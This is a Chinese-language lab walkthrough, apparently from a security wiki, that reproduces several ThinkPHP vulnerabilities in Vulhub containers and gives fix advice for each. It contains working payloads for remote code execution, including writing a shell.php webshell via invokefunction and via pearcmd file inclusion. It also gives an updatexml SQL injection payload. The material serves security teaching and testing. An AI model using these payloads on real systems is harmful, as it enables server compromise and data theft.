漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
14-ThinkPHP
浏览
2
# 一、ThinkPHP  ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。 最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。 # 二、2-RCE ThinkPHP 2.x 任意代码执行漏洞 ## 漏洞描述 ThinkPHP 2.x版本中,位于 ThinkPHP/Lib/Think/Util/Dispatcher.class.php 路由解析代码中,使用preg_replace的/e模式匹配路由,/e 修饰符会把 preg_replace 的替换字符串当做 PHP 代码执行。 路由规则: ```php $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); ``` ## 影响范围 - ThinkPHP 2.x 全系列版本 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./thinkphp/2-rce/ root@ubuntu:~/vulhub/thinkphp/2-rce# docker compose up -d ```  构造正则表达式 ``` s=/index/index/name/$%7B@phpinfo()%7D ```  ## 修复建议 - 升级框架版本 # 三、5.0.23-RCE ThinkPHP 5.0.23 远程代码执行漏洞 ## 漏洞描述 ThinkPHP5 框架支持表单伪装请求方法,\_method POST 参数用来指定请求方法;底层Request类没有对_method做严格过滤校验 - 攻击者传入 _method=__construct,可以调用Request类的构造方法,变量覆盖 Request 类内部属性(filter、server等); - filter可控指定回调函数(system/exec),server[REQUEST_METHOD]传入系统命令; - 框架内部array_walk_recursive会调用 filter 指定的回调函数,传入可控参数,造成任意系统命令执行。 ## 影响范围 - ThinkPHP 5.0.x ≤ 5.0.23 - ThinkPHP 5.1.x <5.1.31 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./thinkphp/5.0.23-rce/ root@ubuntu:~/vulhub/thinkphp/5.0.23-rce# docker compose up -d ``` ``` 漏洞位置:http://192.168.84.174:8080/index.php?s=captcha ``` Paylaod为 ```txt _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令 ```  注意:需要将GET请求方式修改为POST ## 修复建议 - 5.0 系列升级至 5.0.24+ - 5.1 系列升级至 5.1.31+ # 四、5-RCE ## 漏洞描述 ThinkPHP5 默认未开启强制路由,路由解析时对控制器名过滤不严,允许传入带反斜杠\的完整命名空间类名。 攻击者通过s参数指定控制器为\think\App,方法指定为invokefunction; invokefunction可以接收function、vars参数,调用call_user_func_array,执行任意 PHP 函数,造成远程代码执行 RCE。 ## 影响范围 - ThinkPHP 5.0.x ≤ 5.0.22 - ThinkPHP 5.1.x ≤ 5.1.29 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./thinkphp/5-rce/ root@ubuntu:~/vulhub/thinkphp/5-rce# docker compose up -d ``` payload: ```php /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 ```  命令执行payload ```php /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ```  写shell的payload ``` /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码 ``` ## 修复建议 - 5.0 升级到 5.0.23+ - 5.1 升级到 5.1.30+ - 开启强制路由 # 五、in-sqlinjection ## 漏洞描述 ThinkPHP5 的whereIn数组参数解析存在缺陷,当传入格式为 ids[0,表达式]=1 的数组参数时,框架没有正确过滤逗号内的内容,直接带入 SQL 语句,造成SQL 报错注入。 ## 影响范围 - ThinkPHP < 5.1.23 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./thinkphp/in-sqlinjection/ root@ubuntu:~/vulhub/thinkphp/in-sqlinjection# docker compose up -d ```  payload ``` /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 ``` 数据库用户名和密码被爆出  ## 修复建议 - 5.1 系列升级到 5.1.23 及以上 - 升级为最新版本 # 六、Lang-RCE ## 漏洞描述 在其6.0.13版本及以前,存在一处本地文件包含漏洞。 ThinkPHP 开启多语言功能(LoadLangPack中间件)时,lang参数可来自 GET 参数、Cookie、HTTP 请求头。 框架未对langset做路径过滤,允许../目录穿越,直接拼接路径后include()包含 PHP 文件,造成本地文件包含漏洞。 ## 影响范围 - ThinkPHP 6.x:6.0.1 ~ 6.0.13 - ThinkPHP 5.0.x:5.0.0‑5.0.12 - ThinkPHP 5.1.x:5.1.0‑5.1.8 ## 漏洞复现 进入靶场环境,启动容器 ```txt root@ubuntu:~/vulhub# cd ./thinkphp/lang-rce/ root@ubuntu:~/vulhub/thinkphp/lang-rce# docker compose up -d ``` payload ``` ?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php ```   访问shell.php文件  ## 修复建议 - 升级框架版本 - 移除多语言组件
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~